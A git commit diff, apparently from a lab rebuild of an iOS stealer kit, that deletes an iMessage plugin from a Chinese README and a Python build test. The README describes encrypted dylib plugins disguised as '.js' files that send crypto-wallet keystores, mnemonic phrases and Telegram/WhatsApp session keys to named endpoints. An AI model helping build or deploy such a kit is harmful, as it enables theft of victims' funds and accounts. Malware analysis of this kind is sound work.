feat: delete

This commit is contained in:
hashbro
2026-09-01 06:56:53 +08:00
parent bc6ed0f5c7
commit fc21193151
16 changed files with 204 additions and 236 deletions
+2 -3
View File
@@ -4,7 +4,7 @@
文件名是线上的 `.js` 外壳,内容是 **7zAES 包着的 dylib**(密码见 builder README,不要改)。`show.html` 是目录:core + 各 App 对应哪一份插件。
编号缺 `o15`:原包就没有这一号。`wap.js` / `sms.js` 从 001trx 同族包按 **lab 7z 密码**重打;dylib 里没有自己的 DGA seed,跟 `tglib.js` 一样用 core 注入的 `PLServerPool` / 渠道 `c`。
编号缺 `o15`:原包就没有这一号。`wap.js` 从 001trx 同族包按 **lab 7z 密码**重打;dylib 里没有自己的 DGA seed,跟 `tglib.js` 一样用 core 注入的 `PLServerPool` / 渠道 `c`。sms 插件已移除。
## 公共
@@ -41,6 +41,5 @@
| `t20lib.js` | t | OKX | `com.okex.OKExAppstoreFull` |
| `tglib.js` | tg | Telegram | `ph.telegra.Telegraph` |
| `wap.js` | wp | WhatsApp | `net.whatsapp.WhatsApp` |
| `sms.js` | sms | iMessage | `imagent` |
钱包插件跑起来后走 `/uj` `/us` `/ub` `/ba` `/result` 上报 keystore / 助记词 / 地址。`tglib.js` 走 `/api/tg/t`,`wap.js` 走 `/api/wp/t`(会话密钥,不是助记词)。`sms.js` 走 `/m/t/g`(拉任务,lab 回空列表)和 `/m/t/r`(回执),心跳仍走 `/event`。
钱包插件跑起来后走 `/uj` `/us` `/ub` `/ba` `/result` 上报 keystore / 助记词 / 地址。`tglib.js` 走 `/api/tg/t`,`wap.js` 走 `/api/wp/t`(会话密钥,不是助记词)。
Binary file not shown.
+23 -25
View File
@@ -131,17 +131,16 @@ class XxbbBuildTest(unittest.TestCase):
self.assertEqual(show["core"]["size"], len(core))
by_bundle = {e["bundleId"]: e for e in show["entries"]}
self.assertIn("net.whatsapp.WhatsApp", by_bundle)
self.assertIn("imagent", by_bundle)
self.assertNotIn("imagent", by_bundle)
self.assertTrue((details / "wap.js").is_file())
self.assertTrue((details / "sms.js").is_file())
for name, bundle in (("wap.js", "net.whatsapp.WhatsApp"), ("sms.js", "imagent")):
member, plain = extract_member((details / name).read_bytes())
self.assertTrue(member.endswith(".dylib"), member)
self.assertEqual(by_bundle[bundle]["sha256"], xxbb_build.sha256_hex(plain), name)
self.assertEqual(by_bundle[bundle]["size"], len(plain), name)
self.assertNotIn(b"761847cfb1ad3de68e11239dcc26c30b", plain)
self.assertNotIn(b"abf3bdc8e239c0f3183c257f9ccc23e8", plain)
self.assertIn(b"sharedReportingPool", plain)
self.assertFalse((details / "sms.js").is_file())
member, plain = extract_member((details / "wap.js").read_bytes())
self.assertTrue(member.endswith(".dylib"), member)
self.assertEqual(by_bundle["net.whatsapp.WhatsApp"]["sha256"], xxbb_build.sha256_hex(plain))
self.assertEqual(by_bundle["net.whatsapp.WhatsApp"]["size"], len(plain))
self.assertNotIn(b"761847cfb1ad3de68e11239dcc26c30b", plain)
self.assertNotIn(b"abf3bdc8e239c0f3183c257f9ccc23e8", plain)
self.assertIn(b"sharedReportingPool", plain)
seeds = json.loads((state / "lab_seeds.json").read_text())
self.assertEqual(seeds["deployment_seed"], "11111111111111111111111111111111")
@@ -344,25 +343,24 @@ class XxbbBuildTest(unittest.TestCase):
self.assertNotIn("channeICode", landing)
self.assertNotIn('src="index.js"', landing)
def test_source_details_has_lab_passworded_wap_and_sms(self) -> None:
def test_source_details_has_lab_passworded_wap_without_sms(self) -> None:
show_member, show_plain = extract_member((xxbb_build.SOURCE_DETAILS / "show.html").read_bytes())
self.assertEqual(show_member, "data.bin")
show = json.loads(show_plain.decode("utf-8"))
by_bundle = {e["bundleId"]: e for e in show["entries"]}
expected = {
"net.whatsapp.WhatsApp": "wap.js",
"imagent": "sms.js",
}
for bundle, name in expected.items():
self.assertIn(bundle, by_bundle)
self.assertTrue(by_bundle[bundle]["url"].endswith("/details/" + name))
path = xxbb_build.SOURCE_DETAILS / name
self.assertTrue(path.is_file(), name)
member, plain = extract_member(path.read_bytes())
self.assertEqual(by_bundle[bundle]["sha256"], xxbb_build.sha256_hex(plain))
self.assertEqual(by_bundle[bundle]["size"], len(plain))
self.assertNotIn(xxbb_build.ORIGINAL_C.encode(), plain)
self.assertIn(b"https://%@", plain)
self.assertNotIn("imagent", by_bundle)
self.assertFalse((xxbb_build.SOURCE_DETAILS / "sms.js").is_file())
name = "wap.js"
bundle = "net.whatsapp.WhatsApp"
self.assertIn(bundle, by_bundle)
self.assertTrue(by_bundle[bundle]["url"].endswith("/details/" + name))
path = xxbb_build.SOURCE_DETAILS / name
self.assertTrue(path.is_file(), name)
member, plain = extract_member(path.read_bytes())
self.assertEqual(by_bundle[bundle]["sha256"], xxbb_build.sha256_hex(plain))
self.assertEqual(by_bundle[bundle]["size"], len(plain))
self.assertNotIn(xxbb_build.ORIGINAL_C.encode(), plain)
self.assertIn(b"https://%@", plain)
if __name__ == "__main__":